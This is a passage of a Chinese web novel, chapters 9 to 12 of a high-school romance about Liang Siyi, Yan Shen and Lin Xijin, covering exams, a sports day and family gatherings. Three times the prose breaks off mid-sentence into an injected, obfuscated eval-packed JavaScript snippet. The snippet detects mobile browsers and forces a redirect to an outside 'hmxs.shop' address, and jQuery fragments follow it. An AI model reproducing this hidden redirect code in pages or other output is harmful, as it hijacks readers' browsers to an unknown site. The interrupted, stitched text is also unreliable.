梁思意没忍住笑了出来,在夜色里格外动人:“要不你们互相给对方道个歉吧。”
“做梦。”阎慎抿着唇,过了好久才开口,“你真的相信我?”
梁思意笑起来,说:“当然,有矛盾不是很正常吗?你们两个都动手了,肯定不是一个人的问题。”
“那你觉得谁的问题更大?”
梁思意一愣,一时间答不上来。
“肯定是我吧,毕竟我脾气差,火气大,还叛逆。”阎慎自嘲,“连我自己的父亲都觉得我是这样的人。”
“可我知道你不是啊。”梁思意说得理所当然,好像她的信任能抵过一切质疑。
事实的确如此。
晚风中,阎慎看着她,一颗碎掉的心似乎在悄然愈合。
此后很长的一段时间里,阎慎突然发现自己见到梁思意的频率好像变高了。
在家里的餐桌旁,在课间人潮涌动的操场,在位置相对的教室走廊,在喂猫的小花园。
在所有以前没有在意过的地方。
可梁思意并没有做什么。
他照例去小花园喂猫,在无意间将目光投向二楼的窗口,只看见一张张陌生的面孔。
期待落空的刹那,阎慎才忽然惊觉,原来一切都没变。
是他变了。
9.第 9 章
09
大梦一场,阎慎在一片昏沉中睁开眼,熟悉的吊顶风格映入眼帘,他习惯性想抬手,却被摁住。
“别动。”阎余新不知何时坐在床边,“你发烧了,还在输液。”
家里全是医护的好处便是平时有个小病小灾的都不用出门,而阎慎也已经很久没有这样和父亲单独相处的时刻。
他略有些僵硬地扯了扯胳膊,阎余新这才想起松手,看着儿子苍白的脸,低声问:“要不要喝水?”
“不用。”阎慎发出嘶哑的两个字。
“阿慎。”沉默片刻,阎余新叹息道,“你还在怪我,怪我和你妈妈瞒着你离婚。”
阎慎盯着天花板上那一道不起眼的划痕,回想起梦中过往,依旧哑着声说:“我谁也不怪。”
他只怪命运弄人。
那些得知真相时的愤怒和不知所措已经在无法回溯的时光里,化为难以言说的遗憾。
阎慎很少生病,这一病却来势汹汹,在老宅躺了两天,一日三餐都是姑姑阎余蕙送进屋里的。
“这孩子真是倔,病还没好透,已经急着在看书了,说什么放完假就要月考。”这天阎余蕙送完餐下楼,开玩笑道,“大哥,你平时是不是给阿慎太大压力了?看把孩子都逼成什么样了。”
“我哪里有给他压力,我只是让他对自己的选择多负责。”阎余新听罢,也皱眉,“也不是叫他这样刻苦。”
同桌吃饭的梁思意也忍不住腹诽,这人能理解什么叫生病吗?
这两天阎慎没有下楼,她也是从母亲那里听到几句,只知道他退烧了,没什么胃口。
何文兰特地包了些素馅的薄皮饺子,他也少有地没怎么吃。
谁知道他没胃口归没胃口,学习是一点都没落下。
梁思意想到自己这两天跟着长辈外出爬山,陪林西津钓鱼,早把假期当成放松的途径,禁不住眼前一黑。
“思意。”
冷不丁被点名,梁思意愣了下才抬起头,看向阎余新。
“你现在跟阿慎是同学又是同桌,方便的话,你吃完饭能不能替叔叔去劝劝他。”阎余新叹气,“学习不是像他这样本末倒置的。”
“我吗?”梁思意过于惊讶,一时没忍住把心里想法说了出来。
“是有什么不方便的吗?”阎余新不明白她和阎慎之间存在的问题,只看见同桌一个月,两人关系似乎有了明显改善。
“没有没有。”梁思意连忙否认,只是委婉提醒道,“他不一定会听我的话。”
阎余新静默几秒说:“真不听就算了,他自己的身体他自己应该有数。”
梁思意点头说好,下意识又看向坐在对面的林西津,他冲梁思意笑了笑,并未对长辈的安排有什么别的想法。
毕竟按照常理,他明明是比梁思意更合适去做这件事的人。
年少时的那一架,不仅在阎慎和林西津之间留下裂痕,也在长辈心中留下他们不合的实证。
饭后,梁思意回屋待了会才去敲响阎慎的房门。
“请进。”屋里一道低哑的声音,带着病后的虚弱。
梁思意推门。
阎慎背朝门坐在书桌旁,手中执笔写得飞快,许是没听见人说话,他才停笔回头。
大约没想到来的会是梁思意,阎慎微微一愣:“有事?”
“天一大联考的数学卷子你带回来了吗?”梁思意轻咳了声,“我的卷子忘记带了,想借你的复印一份。”
阎慎没有任何怀疑,从一堆试卷里抽出一张,梁思意眼尖地瞥见上边密密麻麻的字。
她走近了说:“你写完了?你什么时候写完的?”
“这两天输液没事做,顺手写的。”阎慎看着她,“你把我写的答案遮起来,一样能复印。”
“我不是那个意思。”梁思意拿起他的试卷,由衷地佩服,“你不是还在生病吗?没必要这么拼吧,养好身体才比较重要。”
“怎么,怕我几天比你努力,月考考得比你好?”阎慎懒散散靠在椅背上,脸上挂着欠揍的笑,“放心,就算你没我考得好,我也不会叫你真的改名跟我姓。”
梁思意紧咬着牙根,才没骂出声,“谁怕你这个了?”
“那就是关心我?”阎慎转了转笔,胳膊杵在桌面上撑住脑袋,“这不是更奇怪?”
“谁说是我关心你了!是阎叔叔他们担心你身体,才叫我上来劝劝你。”梁思意把试卷拍在他桌上,“我看你好得很!”
“谢谢。”
“……”梁思意气笑了,简直没法跟他好好沟通,“你就嘴硬吧。”
阎慎不置可否,拿起试卷问她还要不要,“不要我就收起来了,省得你多看两眼就把答案记住了,最后还要怪我把答案给你看。”
“你简直不可理喻!”梁思意气得口不择言,也不知道自己在说些什么,气冲冲离开房间。
走到一楼,坐在沙发上玩手机的林西津抬头问了句:“怎么了?”
“没事。”梁思意一口气喝掉半杯水,“你没出门吗?”
“等你呢。”林西津起身伸了个懒腰,“今天还去钓鱼吗?”
梁思意放下水杯,有些犹豫:“我还有几张试卷没写……”
“哦。”林西津了然,“那你先忙。”
梁思意“嗯”了声,还想再说些什么,开口的瞬间想起阎慎那张写得满满当当的试卷,又没再接着说。
高三的假期没那么久,梁思意返校前一晚熬了个大夜才把卷子写完,书包都没顾得上收拾,倒床一觉睡到天亮。
返校当天,他们第一次月考的分班表也跟着贴了出来。
这一次是全文科班打乱分的考场,梁思意分到一个完全陌生的班级。
没有熟人,她反而更冷静,没有心思去观察别人,全身心投入到两天的考试当中。
月考的时间全部按照高考的规制。
考试那两天,梁思意只在吃饭时才和阎慎坐在一起,不过彼此都很默契,不提考试不对答案,暗自较着劲。
考完当晚的自习课还是照常上。
梁思意忍了两天,还是没忍住跟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948270|192483||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
向葵对了几道自己比较模糊的题的答案,得出一致的结果后才松了口气:“还好最后没有改。”
“考试还是要相信自己的第一选择。”向葵说,“尤其是在自己也不是很确定的时候。”
梁思意点头:“确实。”
向葵嗯了声,看向梁思意身旁的空位,表情忽然变得有些奇怪。
梁思意察觉到,翻试卷的动作顿了顿:“怎么了?是有什么问题吗?”
“你跟阎慎应该是认识的吧?”向葵说完,立刻解释道,“我不是八卦,我这次不是跟他在一个考场吗?他好像状态不太好,文综都没写完。”
“他前几天发烧了。”梁思意回想起这两天在家里吃饭的时候,阎慎确实吃得不多。
“这样啊。”向葵犹豫了下说,“不过他数学应该考得还行,徐衡跟他对过答案,说不定可以弥补掉文综落下的分。”
梁思意点点头,等到阎慎和徐衡从外边进来,她总是时不时往旁边看。
阎慎被看得心里发毛,喝了几口热水问:“我脸上有金子吗?”
“有脸皮。”梁思意怼了一句,决定等到成绩出来再跟他说话。
高三的阅卷效率高,隔天已经出了语文和数学的成绩。
梁思意的语文比上一次要好,数学维持了正常水准,而阎慎的数学确实考得很高,只错了一道选择题。
“都这么高分了,你还有什么不满意的?”梁思意见他对自己分数反应平平,忍不住问了句。
“又不是满分。”阎慎淡淡道。
梁思意无语至极:“我真多余问这一句。”
阎慎收起试卷,神情确实说不上多开心,一则是生病还未完全恢复,二则是忧心另外两门科目的成绩。
只是这些,他不想跟任何人说,尤其是梁思意。
不想听她的冷嘲,更不想听她的安慰。
剩下的两门成绩是跟着年级大榜一起出的。
前一百名变动不多,梁思意的总分比上次高,但排名却往后退了两名,只排在第九十八名。
阎慎并不在前一百名之内。
她先看了林西津的成绩,才绕回到第一版面,顺着一百名往下滑,在第一百五十名处看见他的名字,语数英三科都在一百三以上,但文综总分还不到两百。
阎慎似乎早有预感,对此并不惊讶。
按照实验班的分班规制,他需要回原班级上课,今晚是他在实验班的最后一节晚自习。
放学后,阎慎将书和试卷收拾好,梁思意坐在一旁,心里没有赢过他的胜利感,反倒有些说不上来的复杂情绪。
阎慎收好东西,屈指撑在桌面上,和她对视:“恭喜,不用改姓了。”
“……谢谢。”梁思意看似不那么情愿地安慰,“你如果不是生病了,文综应该不会考这么差的。”
阎慎刚要开口,她又说,“当然,就算不生病,你也一定没我考得高。”
“谁知道呢。”阎慎有些欠扁地说。
梁思意很不礼貌地回了一个字:“滚。”
10.第 10 章
10
阎慎确实滚了。
梁思意的同桌换成了向葵,和学霸坐在一起能学到很多,但梁思意偶尔也会觉得压力更大。
极少数时刻,她甚至会怀念跟阎慎当同桌的时刻。
“以前也没觉得自己这么差劲呢。”看着向葵不费吹灰之力解出自己思考了半天的难题,梁思意泄气般趴在桌子上,“果然是人外有人,山外有山啊。”
向葵安抚性地摸了摸她的脑袋:“慢慢来嘛,都是积累出来的。”
“我先让我的脑袋缓缓。”梁思意仍旧趴在桌上。
“你最近和阎慎怎么样?”同桌不到一周,向葵和梁思意已经快把彼此祖宗十八代八卦清楚。
“还可以。”不在一个班后,梁思意和阎慎的交流反而变多了,放学回家甚至会自觉留在餐厅一起学习。
高三所有班的复习资料都是一致的,只有进度上会有不同,实验班明显要比普通班快一点。
梁思意每天除了带自己的试卷和资料回去,偶尔也会给阎慎多带一份试卷。
只不过两人的关系并没有交流变多而有所改善,讲起彼此不擅长的题目时依旧阴阳怪气,谁也不饶谁。
梁思意经常被气到头晕,拽过他正在写的试卷塞进书包里:“这是我拿回来的试卷。”
阎慎还握着笔,有几秒的愣神,随即冷笑一声:“行。”
他从桌上拿起一本政治复习资料,用着不低的声音读道:“物质和意识的辩证关系,一,规律的客观性和普遍性……”
梁思意也不甘示弱,拿起英语试卷,大声朗读。
阎余新从卧室出来倒了几次水,最后一次像是再也忍不住,温声道:“你们俩要不要早点休息?”
梁思意和阎慎对视一眼,谁也不理谁,自顾降低了声音。
夜深寂静,梁思意揉着泛酸的脖颈,偶尔抬头,看到坐在对面一样奋笔疾书的阎慎。
即使对他有许多不满,但此时的她也不可否认,高三的漫漫长夜,似乎因为有对方的存在,并没有想象中那么难熬。
屋外不知何时起了风,卷着秋天的细雨淋湿了平城数日以来的晴日。
十月一场秋雨一场凉,陆陆续续下到月底,最高温度已经降到1开头的两位数。
又结束一场月考,梁思意拖着沉重的步伐回到教室,不同以往的沉闷,班里氛围很热闹。
她用高三生仅剩的幻想询问:“怎么了?放假了吗?”
“你想什么呢。”向葵笑眯眯打破梁思意的幻想,“明天运动会呀,你忘记了吗?”
梁思意垂死挣扎:“可明天是周末啊。”
“对啊,就是周末开运动会我们才能参加。”向葵说,“学校怎么会那么好心,把运动会开在工作日。”
“开在周末就很好心了吗?”梁思意有些欲哭无泪,宁愿没有运动会,起码还能在周日睡个懒觉。
运动会开在高一高二的新校区,他们高三的还得每天早起,在老校区门口集合坐大巴过去。
熬过千篇一律的开幕式,没参加任何项目的梁思意被拉去给还不算太熟悉的同班同学加油。
她不擅长任何跟体力相关的运动,以往这种时候,都是站在观众席替林西津加油送水。
今年梁思意和林西津不在一个班,前段时间在微信上问过他参加哪些项目,但是林西津当时说还没考虑好,之后也一直没再提起。
上午第一个项目是男生跳高。
徐衡是班里唯一一个参加跳高项目的男生,向葵和梁思意被委以重任,替他做好赛场服务。
等挤进人群,梁思意才发现阎慎和林西津都参加了这个项目。
跳高不愧是最受欢迎的一项比赛,才跳过一轮,梁思意感觉场上的欢呼声已经快把她耳朵震聋。
第二轮剩下六人,徐衡刚巧站在林西津和阎慎中间。
三人身高相差不多,但阎慎从视觉上看起来更高大,露出的小臂线条修长,比暑假时期要白一些,是很健康的肤色。
林西津的肤色偏白,起跑跳跃时衣衫底下露出的皮肤,在日光下白得似乎有些晃眼。
梁思意眨了眨眼,看他接过班里同学的水,又被徐衡的手舞足蹈吸引目光,跟着向葵替他加油。
等到阎慎上场,加油声是一样的热烈。
他的起跑起跳都很专业,动作流畅,背越式过杆,长腿在空中勾出一道弧线,整个人落在软垫上轻轻一翻,又很快站起身。
黑色修身运动衣勾勒出优越的身形。
梁思意明显感觉到场上的尖叫声比之前要高出许多。
没有意外地,林西津和徐衡止步前四,剩下阎慎和理科班的一个男生争夺第一。
梁思意看到林西津登记完姓名,挤出人群追了上去。
阎慎跳过最后一杆,落地时已经有些吃力,但胜负已分,耳边欢呼声热烈,他装作不经意抬起头。
好多张陌生的面孔都在呼喊他的名字。
阎慎在软垫上站起身,借着高度优势,隔着几圈人影看见梁思意和林西津并肩朝前的身影。
周逸飞带着班上同学冲过来:“我靠!牛啊!”
他跳下软垫,脸上没有什么胜利的兴奋,随手摘下号码牌塞到周逸飞手里:“奖状你找人拿一下。”
“诶,那你去哪儿啊?”周逸飞在后边追着问,“我等会也有比赛,说好给我拍照的,你别忘了啊!”
阎慎抬手比了个OK,径直走远了。
……
另一边,梁思意追上林西津,问他等会还有没有比赛。
林西津摇摇头,说:“今年只参加了这一项,刚好前段时间打球崴了脚,也没办法参加其他的。”
梁思意的视线落到他脚上:“你脚受伤了?什么时候的事?”
“有一阵子了。”林西津踮着脚跳了两下,“都恢
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952367|192483||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
复好了,只是太剧烈的运动一时半会还参加不了。”
梁思意回忆起这个月和林西津为数不多的几次联系,抿了抿唇说:“怎么都没听你提过。”
“也不严重,况且你在实验班也挺忙的。”林西津笑笑,“高三还是学习最重要。”
“也不是……”梁思意欲言又止,不知如何解释。
林西津似乎不太在意,带着梁思意回到五班的休息区,几个男生躲在帐篷里打牌。
有人起身给林西津让位置,他自然地坐了下来,梁思意站在旁边看了几分钟,觉得没什么意思。
她没跟林西津打招呼,离开了帐篷。
等回到实验班的休息区,梁思意收到林西津的微信,问她怎么走了,又约她中午一起吃饭。
她想了想,也没有拒绝。
梁思意在帐篷里拿了几瓶水,找到向葵,上午还有好几个项目,她们没参加比赛的似乎比参赛选手还忙。
一直在操场穿来穿去。
午休前最后一项比赛是男女生4x50米接力跑。
徐衡和向葵是参赛选手,梁思意早早站在最佳观赛区替两人加油,周围都是实验班的同学。
徐衡突然冲着跑道对面挥了挥手。
梁思意顺着看过去,看见举着手机站在人群里的阎慎,他正在拍候场区里一个正在做热身运动的男生。
是六班的周逸飞,梁思意之前陪林西津打球见过他。
他脱掉了外套,里边是贴身的运动衣,体格偏瘦,不停对着阎慎的镜头抛媚眼。
阎慎放下手机,面无表情地看着他。
周逸飞立马收敛,双手抱拳示意:“好好拍,哥的账号能不能火起来就看你的了。”
周逸飞这学期在做自媒体,每周会在自己的账号上更新一些高三生活的视频,数据一直平平。
阎慎回到六班上课那天,他随手拍了条欢迎他的日常,竟意外地爆了,大几万的点赞。
周逸飞一边痛批这个看脸的世界,一边对着阎慎的脸狠狠拍了十几条。
今天他原本计划拍学霸帅哥参加运动会的一天,但阎慎的参赛素材不多,他只好夹带私货,拍一点自己的搞怪加亮点。
哨声吹响,加油声此起彼伏。
阎慎举着手机,对准周逸飞,男生半蹲,手指撑地,是预备起跑的状态。
发令枪响起,六道身影飞快地蹿了出去。
镜头跟随,从对面观众席一闪而过,似乎是捕捉到什么,转动的镜头停了下来。
梁思意看着向葵接过接力棒,跟着周围人齐声喊加油。
秋日烈阳下,她的脸颊白里透红,一笑起来,眼眸明亮动人。
镜头停留的时间太长,偶尔的瞬间,她的视线随着场上飞跑的身影移动,目光无意间从镜头前扫过。
像是在对视的错觉。
在那个瞬间,阎慎仿佛能听见自己的心跳声。
11.第 11 章
11
上午的比赛全部结束,梁思意收到林西津的微信,两人约在校外一家米粉店碰面。
他们口味大相径庭,这家店是两个人在这边读书时,为数不多的都爱吃的一家店。
老店的门面不大,又是出餐点,店里已经坐满,梁思意和林西津坐在店外支起的小桌旁,还是跟过去一样。
一份不加辣,一份加了过量的辣。
梁思意拿纸巾擦了擦桌面,林西津起身说去买水,问了句:“你喝什么?还是橙汁?”
梁思意点头,说:“可以。”
“行。”
便利店在马路对面,梁思意看着林西津走了进去,再出来时,他手上多了个塑料袋。
“给。”林西津把橙汁递给她。
梁思意接过来,在袋子里看见一瓶椰子水和一包烟,她一愣,看向林西津:“你什么时候开始抽烟了?”
“高三压力大啊。”林西津说,“不过我也只是偶尔抽一根。”
梁思意不好说什么,他又说:“保密。”
梁思意替他保密的事情太多,似乎也不差这一件,但林西津学会抽烟这件事,她还是挺意外的。
毕竟在以前,林西津经常抱怨说自己身高没能突破185,就是因为小时候在家里吸了太多林元良的二手烟。
他甚至还说过以后坚决不会抽烟。
长大或许真的能改变一个人的习惯和喜好。
米粉很快端了上来,配料分量都没变,但可能是太久没吃辣,梁思意有些受不住,还剩了三分之一。
林西津也很快停了筷,抽了张餐巾纸,边擦边说:“总感觉没有以前味道好了。”
梁思意没尝出太多差别,拿筷子戳了戳碗底:“是吗?”
“或许是太久没吃了。”林西津拿着水起身,“回去吗?”
梁思意应声,跟着站起身。
进了学校,林西津被同学喊去打球,梁思意原本想回教室,但想起这是在新校区,便跟着他一起去了球场。
她照旧在球场角落找了个位置坐着。
林西津脾气好,样貌好,在高中一直是个很受欢迎的人,和他打球的不只有高三的同学,还有一部分是高二的学弟。
也有女生围在球场外喊他的名字。
林西津会礼貌地冲她们挥手笑笑。
梁思意并不是一直在看林西津打球,也不知道林西津什么时候从场上退了下来。
他拿着水靠近:“看什么呢?”
梁思意吓了一跳,将手机递过去,说:“前几天月考的成绩,班里有同学发了语文和数学的分数。”
“你这次考得也不错啊。”林西津坐在她旁边,接过手机划了划,没看到另一个名字,想起什么才又说,“你成绩进步挺快的,我看上次月考,连阎慎都没你考得高,好像还掉出实验班了啊。”
梁思意“嗯”了一声,说:“上次月考他生病了,这次估计可以重新考回来。”
“是吗?”林西津好像不太在意,“也对,他成绩一直都很好。”
梁思意不知道该怎么说,想来想去,只干巴巴地评价了一句:“他挺努力的。”
“努力?”林西津轻笑,垂眸看着屏幕上不同的高分,低声喃喃,“谁不努力。”
他也一样地努力。
梁思意没听清,侧头问:“什么?”
“没什么。”林西津把手机还给她,起身说,“我还要再打一会,你要有事就先走,不用跟我打招呼。”
梁思意接过手机说好,一直看到下午比赛开始才离开球场。
运动会只开两天,第二天林西津没参加项目,甚至都没到场,梁思意依旧在班里做后勤。
高三不参加闭幕式,傍晚回老校区的大巴上,班群里发了月考的排名。
梁思意依旧排名垫底,但各科分数都在均匀增长。
令人意外的是,阎慎这一次还是没有考进前一百名,不过他的总分和排名都比上一次要好。
周逸飞安慰阎慎,说下一次一定行,又说,“再不济,你干脆留在班里,我们一起来做这个账号。”
他的运动会日常一发,果然火得一塌糊涂,只是可惜阎慎拍他的那段竟然忘记开录制了。
真是自媒体界一大憾事。
阎慎没搭理他,从包里翻出复习资料,周逸飞见状也不再打扰,只是默默掏出手机,对着他又拍了几条素材。
晚上梁思意回到家,肩负着徐衡和向葵对阎慎的关心,原本还想安慰他两句,可见他只顾埋头学习,便把安慰的话又咽了回去。
她也拿出笔和试卷,在餐桌的另一边坐下。
阎慎抬眸看了一眼,梁思意摁着笔和他对视:“怎么?”
他没说话,把手边订正好的数学卷子推过去。
梁思意看到卷面上三个刺眼的数字,想到自己刚过百的分数,眉心一跳:“你存心刺激我?”
阎慎揉了揉太阳穴,说:“试卷老刘今晚才讲过,基本上每道题都讲了。”
梁思意一愣,意识到他是什么意思。
张德忠在实验班讲试卷不是按照顺序每道题都订正,像选择填空一般都是念个答案,碰到特别难或者比较典型的题目才会单独拎出来讲解。
梁思意之前几次,都是课后另外下功夫,才能把整张试卷的错题弄明白。
老刘和张德忠不同,讲卷子恨不得把每道题都掰碎喂进学生嘴里,也是靠他这样细致的讲课风格,梁思意的数学才不至于差到离谱。
梁思意默默把试卷拽到面前,看见上边红黑交错的字迹,心里充斥着说不清的情绪。
她快速地说了声谢谢,也不管阎慎的回应,拿起笔,不停翻看试卷,看似很忙的样子。
阎慎也没所谓,继续写自己的题目。
这样的夜晚已经成为他们相处的常态。
按部就班进入十一月。
周六是林西津的妹妹林乐心的生日,考虑到他们白天都要补课,林家特意将生日宴定在了晚上七点。
傍晚,林父特意开车过来接他们,但梁思意上车后才知道,阎慎不跟他们一起。
“说是班里要开班会,让我们先走。”林元良心里清楚,这多半是他的托词,也不好强求。
梁思意随便嗯了声,车子便启动了。
林家离三中并不远,但阎余蕙考虑到林乐心往后十八年的就学问题,已经在准备换新房了。
一路上,梁思意和林西津有一搭没一搭聊着,林元良偶尔也会插嘴问一句她在实验班怎么样。
梁思意笑着说:“还好,已经都适应了。”
“听你妈妈说,你的成绩一直在进步呢。”林元良开玩笑道,“西津,你可要加把劲,要说起来,思意以前成绩还没你好呢。”
林西津敷衍道:“你还不让人进步吗?”
“爸爸哪里是这个意思,别人进步,你也要进步啊。”林元良一时口快,“你看思意现在去了实验班,连半路转到文科班的阿慎都去了,你——”
车厢内有一瞬凝滞。
林西津却依旧是那满不在意的模样:“他也不过是运气好,不然怎么只待了一个月就回到普通班了。”
“运气也是实力的一部分啊。”林元良叹笑一声,没有再继续这个话题。
不知为什么,梁思意心里有些微妙的不舒服,似乎并不太能接受他们所谓的运气论。
不过,现在不是争辩的时候,她也没有开口的资格,便什么也没说。
到了林家,梁思意和长辈们打过招呼,才刚在客厅角落坐下,门口传来停车的动静。
阎慎不知从哪儿借了辆山地车,径直骑进院子里,隔着客厅的落地窗,他的视线与梁思意打量的视线交汇。
他穿得单薄,身后的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962903|192483||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
书包却鼓鼓囊囊。
梁思意突然意识到,在车里那一瞬的不舒服源于何处。
阎慎的努力,她比其他人更清楚,也明白他能进实验班,不仅仅是运气。
高三这座独木桥,他们都走得并不轻松。
阎慎不知道梁思意在想什么,只是发觉她似乎在愣神,自顾错开视线,停好车进了屋。
晚餐在家里吃的,切过蛋糕后,林乐心被阿姨带去洗漱,几个长辈坐在一起搓麻将。
梁思意找了一圈没看见林西津的身影,路过客厅被阎慎的爷爷奶奶拉着问了些学习上的事。
她现在是家里的好学生,得到的褒奖不比阎慎少。
只是老人家夸得未免有些过头,梁思意听得脸热,又不好意思起身走开。
阎慎倒完水走过来,从沙发上拎起书包:“你数学笔记带回了吗?借我看一下。”
“啊?”梁思意微微一愣,很快反应过来,“带了,我拿给你。”
两人拎着书包走到偏厅。
“谢谢。”梁思意把书包放在茶桌旁,整个人轻松不少。
“没什么。”阎慎在她对面坐下,“老人家没坏心思,拿你当一家人。”
“我知道,只是觉得奶奶夸得太好了。”梁思意拍拍心口,“我心虚啊。”
阎慎忽然笑了下,露出一些符合年纪的少年气:“你还会心虚?”
“你以为谁都像你?”梁思意撇了撇嘴,“脸皮厚得刀枪不入。”
阎慎不置可否,翻出试卷摊在桌上。
梁思意看着他写得很满的卷子,忽然问:“你会觉得挫败吗?”
“什么?”
“从实验班离开,你会觉得挫败吗?”梁思意重复道。
“有一点,但高三不就是这样,每个人都在拼尽全力,你总要接受别人超过你。”阎慎说,“我只看我脚下的路。”
“那要是你一直都回不了实验班呢?”
阎慎摁了摁笔,不答反问:“你很在意?”
“我不在意。”梁思意答得飞快,生怕慢一秒就被他会错意。
阎慎安静了一瞬,问:“那是林西津在意?”
“跟他有什么关系。”梁思意不明白他怎么突然提起林西津,也佩服他的敏锐。
林西津似乎真的很在意。
“那你问那么多?”阎慎看着她。
“我关心同学不行吗?”梁思意也看着他,“是你对我偏见太多。”
“没有。”阎慎简短地反驳。
梁思意信也不信,没再跟他争辩,也翻出一张试卷摊在桌上,像在家里度过的许多夜晚。
她觉得平静和踏实。
沙沙笔声中,林西津靠近的脚步暂停,他停在一片阴影里。
屋内,梁思意指着一道题和阎慎争执,她皱着眉,似乎在思考,阎慎骂她笨,扯过试卷飞快写出解题步骤。
梁思意不情不愿地说谢谢。
阎慎塞上耳机不再搭理她。
林西津觉得这样的画面很眼熟,想了很久才记起,原来他和梁思意也有过这样的时刻。
那是在初中,他教她念不擅长的英语,辅导棘手的功课,跟她分享学习之外的趣事,享受她的仰望和崇拜。
林西津年少时一直落于下风的不满与愤懑,在什么都不会的梁思意这里得到短暂的纾解。
可梁思意并不是永远只会原地踏步的人,不知道从什么时候起,她的努力和进步开始让林西津觉得害怕。
她几年如一日坚持他已经不再使用的学习习惯,可以不费吹灰之力解出困扰他许久的难题。
仰望的天平逐渐倾斜。
梁思意似乎不再需要他的帮助,甚至在原先并不擅长的英语比赛中胜过他,代表学校去参加市级比赛。
她变得越来越好,好到让林西津产生一种在面对阎慎时一样的恐慌与自卑。
12.第 12 章
12
第三次月考结束,阎慎终于重新回到实验班上课,班主任张老师对班上座位重新做了调整。
他和徐衡成了同桌,梁思意依旧和向葵坐在一起。
为了庆祝他重回实验班,也为了难得拥有的休息日,徐衡提议他们四人这周日一起出去玩一趟。
“是我老家那边的一个景点,我们早上坐大巴过去,可以直接到景点附近的汽车站,爬完山下午就能回,也不会耽误太多时间。”徐衡期待地看着他们,“怎么样?你们有没有兴趣?”
坦白来讲,梁思意对爬山并不感兴趣,但高三生活实在枯燥,她并没有拒绝:“可以啊,但我事先说明,我体力不太好,可能爬不了那么快。”
“放心好了,山不高,主要是看裂谷和瀑布。”徐衡又看向阎慎,“你呢?去不去?”
阎慎也没有拒绝。
周日一大早,梁思意和阎慎一同出现在家里的餐桌旁,何文兰知道他们今天要出门,提前准备了些点心。
她不方便直接提出让阎慎提着,只好事先打包好放进梁思意的书包里,又在手上拎了拎,说:“还好,不算特别重,你见到同学给他们分一分。”
“知道了。”梁思意搂了搂何文兰的肩膀,“我每天背的书比这重多了。”
何文兰笑了笑,没再说什么,只叮嘱道:“路上注意安全,到了给我发消息。”
她又看向阎慎,对于这个孩子,何文兰心里总有些亏欠,有些话也不像过去说得那么容易,最后也只是同样叮嘱了一句注意安全。
阎慎点了点头,含糊不清地“嗯”了一声,他弯腰换鞋,露出一截后脖颈,发尾剃得整齐。
梁思意也站在玄关处,低头从鞋柜里找了双软底的运动鞋,随手将书包靠在旁边。
等换好鞋,她手往旁边一捞,却捞了个空。
梁思意疑惑地抬起头,却见阎慎拎着她的书包站在门口,面无表情地看着她:“你的鞋上锁了吗?”
“……”梁思意不知道他为什么总能把话说得那么难听,但碍于他为数不多的大发好心,她没有跟他争个口舌之快。
他们四个约好在汽车站门口碰面,梁思意提前叫了车,走到巷口,出租车已经停在路边。
梁思意拉开车门,阎慎不客气地先弯腰坐了进去。
她抓着车门呆了两秒,才跟着坐进去。
在去车站的路上,两人照例沉默,一直到下车见到向葵和徐衡,梁思意才从快要窒息的沉默当中活过来。
徐衡拿了四人的身份证去买票。
梁思意和向葵拉着手说不停,高三的压抑和枯燥让他们都对这来之不易的外出感到兴奋。
周末车站人很多,大部分都是拖着行囊背着行李包的成年人。
梁思意说得兴起,没注意阎慎的靠近,莫名其妙被他推了一下,正要发火,却见身旁走过一个扛着大包小包的中年男人。
只差一点,男人肩上的行李袋就要碰到她的脑袋。
梁思意愣了瞬,张嘴说:“……谢谢。”
阎慎却没再看她,靠着栏杆低头看手机。
“买好票了,走吧。”徐衡拿着票走近,“没想到现在都有卖景区直达票了,下车直接转景区游览车就可以到检票口。”
四人进入候车大厅。
快检票上车时,梁思意的手机忽然响了,她拿出来一看,起身说:“你们先去排队,我去旁边接个电话。”
她往大厅角落走,阎慎眼尖地瞥见屏幕上闪着林西津的名字。
梁思意走到检票大厅的窗前,电话已经自动挂断,她又回拨过去,林西津接得很快:“还以为你没起来呢。”
梁思意说起了,又说:“刚没来得及接。”
林西津没太在意,笑着问她:“今天有事吗?我爸送了我一套新渔具,要不要一起去试试?”
“今天吗?”梁思意看了眼阎慎他们的位置,广播已经在喊检票,他们正准备过去排队。
“怎么,你有事啊?”
梁思意“嗯”了一声,说:“我跟同学约好了,现在已经在车站了。”
“那好吧。”林西津没再说话,但也没挂电话,静默几秒,他忽然低声问,“我没有优先权吗?”
梁思意微微一怔,心跳“咚咚”地跳得飞快。
她无意识抓紧了手机,林西津总是给她这样的错觉,让她觉得他似乎什么都知道。
没等梁思意想好怎么说,他又笑道:“好了,跟你开玩笑的,你玩得开心。”
